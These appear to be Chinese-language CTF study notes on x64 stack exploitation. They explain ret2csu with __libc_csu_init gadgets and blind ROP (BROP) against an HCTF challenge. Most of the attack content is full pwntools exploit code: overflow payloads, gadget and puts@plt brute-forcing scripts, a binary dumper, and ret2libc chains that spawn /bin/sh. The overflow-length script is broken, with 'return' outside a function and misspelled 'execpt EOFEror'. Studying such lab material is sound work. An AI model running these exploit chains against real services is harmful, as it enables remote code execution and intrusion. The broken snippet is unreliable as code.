ret2csu
x86 与 x64 的区别:
x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上
详细的例子去看蒸米ROP x64篇
ret2csu
x64 下面有一些万能的 gadget:objdump -d ./level5
显示特定的汇编(-D 显示全部的)
观察一下 _libc_csu_init 一般来说,只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化
这里面有一些对寄存器操作的,需要注意的是 AT&T 与 8086 汇编语法有些区别
这些前面带百分号的极有可能是 AT&T 汇编,它的 mov 源操作数与目的操作数跟 8086 是反着的
gadgets2
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
....
gadgets1
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
通过构造栈上的数据,调用 1 然后返回到 2 就可以控制寄存器
临时参考:https://blog.csdn.net/weixin_43467772/article/details/89131527
首先通过溢出把一堆数据写在栈上,此时返回地址覆盖为 gadgets1,调用 gaegets1 的时候 rsp+8 通过 gadgets1 把栈上的数据写在寄存器里面,同时把 rsp 再加一下让程序返回到 gadgets2
gadgets2 会把之前寄存器上存的数据放在需要的寄存器上(参数存放顺序:RDI, RSI, RDX, RCX, R8 和 R9)
把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0,当程序执行完 write 函数以后会自己回到这里(因为是 call,正常调用)所以不用管返回地址,继续执行,此时还会执行 gadgets1 上面那张图那样子,gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉,使得程序返回的时候是我们写在栈上的 main_addr
write 函数原型是 write(1,address,len) ,1表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度
第一发payload
第二发payload
第三发payload
剩下的同理,只是 read 从标准输入流(0,即控制台)读取 0x100 放到 .bss 段里面
#!python
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
elf = ELF('level5')
p = process('./level5')
got_write = elf.got['write']
got_read = elf.got['read']
main_addr = 0x400564
bss_addr=0x601028
payload1 = "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
print "system_addr: " + hex(sys_addr)
p.recvuntil("Hello, World\n")
payload2 = "\x00"*136 + p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(sys_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
payload3 = "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
给出的 exp
#!python
#!/usr/bin/env python
from pwn import *
#context.log_level="debug"
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601028
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
ret2reg
wiki 没有给出例题,等以后补上
BROP
BROP是在没有给出题目的情况下,只能通过尝试来确定
攻击条件
程序必须存在溢出漏洞,以便攻击者可以控制程序流程
进程崩溃以后可以重启,而且重启之后的地址与先前的地址一样
基本思路
首先通过枚举,判断栈溢出长度,然后通过 Stack Reading 获取栈上的数据来获取canary以及ebp和返回地址
再找到足够多的 gadget 来控制输出函数的参数并进行调用,利用输出函数来dump出程序来找到更多的gadget
栈溢出
从 1 开始暴力枚举,直到程序崩溃
Stack Reading
通过按照字节爆破比枚举数值更快
每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次
找到canary的值
Blind ROP
调用write函数最方便的方法是系统调用号,然后syscall,然而syscall几乎不可能
所以可以使用 libc_csu_init 结尾的一段 gadgets 来实现,同时可以使用 plt 来获取write地址,在write的参数里面,rdx是用来限制输出长度的,一般不会为0,但是保险起见,可以同时设置一下,但是几乎没有 pop rdx 这样的指令
可以通过 strcmp 来实现,在执行 strcmp 的时候,rdx会被设置为字符串的长度,所以只要找到 strcmp 就可以实现控制rdx
接下来要做的就是:
1、找gadgets
2、找 plt 表,比如 write、strcmp
找gadget
为了能够找到 gadget,可以分为两步:1、stop gadget,当执行这一段代码时,程序陷入循环,使攻击者一直保持连接状态,其根本目的在于告诉攻击者,其所测试的地址是一段gadget
2、识别gadget,这里为了方便介绍,定义栈上的三种地址:
- Probe
探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。
- Stop
不会使得程序崩溃的stop gadget的地址。
- Trap
可以导致程序崩溃的地址,直接写 p64(0) 就可以
通过不同顺序构造一串 payload 就可以达到找到识别正在执行的指令的效果
比如:probe + trap + stop + trap + trap… 可以找到一个 pop xxx;ret 这样的
probe + trap + trap + trap + trap + trap + trap + stop + trap + trap… 这样的就可以找到:
pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret
ps. 在每个布局后面都放上 trap 是为了保证崩溃 probe 返回如果不是 stop 能够立即崩溃
当然,我们还是很难确定它弹的哪一个寄存器,但是,一下子连续弹 6 次的很大可能性就是 brop_gadgets
这里说的 brop_gadgets 就是上面 ret2csu 的那个
同时找到的哪一个可能是一个 stop_gadgets,可以把后面原本的 stop_gadgets 改一下,如果程序没崩溃那就是又找了一个 stop_gadgets
找某些 plt
找到了 gadgets 以后,只需要根据功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的 plt
比如:payload = ‘A’*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
如果能过把 0x400000 的内容给输出来就可以找到 put@plt 了
HCTF 出题人失踪了
from pwn import *
i=1
while 1:
try:
p=remote("127.0.0.1",9999)
p.recvuntil("WelCome my friend,Do you know password?\n")
p.send('a'*i)
data=p.recv()
p.close()
if not data.startwith('No password'):
return i-1
else:
return i+1
execpt EOFEror:
p.close()
return i-1
size=getsize()
print "size is [%s]"%size
用脚本跑出来是 72
再找一个能让程序不崩溃的地址(stop_gadgets):
from pwn import *
def getStopGadgets(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1',9999)
payload = 'a'*length +p64(addr)
sh.recvuntil("password?\n")
sh.sendline(payload)
output = sh.recvuntil("password?\n")
sh.close()
print("one stop addr: 0x%x" % (addr))
if not output.startswith('WelCome'):
sh.close()
addr+=1
else:
return addr
except Exception:
addr+=1
sh.close()
stop_gadgets = getStopGadgets(72)
感觉只有返回到 main 或者 _start 才能用
再去找 BROP_gadgets
from pwn import *
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
length = 72
stop_gadget = 0x4005c0
addr = 0x400000
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1
拿到 brop_gadgets
根据之前的:我们可以发现,从找到的 brop_gadget 其中 pop r15;ret 对应的字节码为41 5f c3。后两字节码 5f c3 对应的汇编即为 pop rdi;ret
所以,pop rdi;ret 的地址就是 brop_gadget + 9
通过这个 gadget 把 put 的 plt 给打出来
from pwn import *
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4005c0
addr = 0x400740
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
brop_gadget=0x4007ba
rdi_ret=brop_gadget+9
get_puts_addr(72,rdi_ret,stop_gadget)
拿到了 put 的地址,就可以通过 很多次的 put 把想要的内容给 dump 出来
把程序 DUMP 下来:
from pwn import *
def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4005c0
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400555
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
把 dump 下来的文件用 IDA 的二进制模式打开
然后把基址改成 0x400000:
编辑 -> 段 -> 重新设置基址
设置为 0x400000
在 0x400555 处,摁下 c 识别成汇编格式,可以看到 jmp 的地址是:601018h
这样就得到了 put@got 地址,知道了这个地址,再用 libcsearch 去进行 ret2libc 就可以了
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()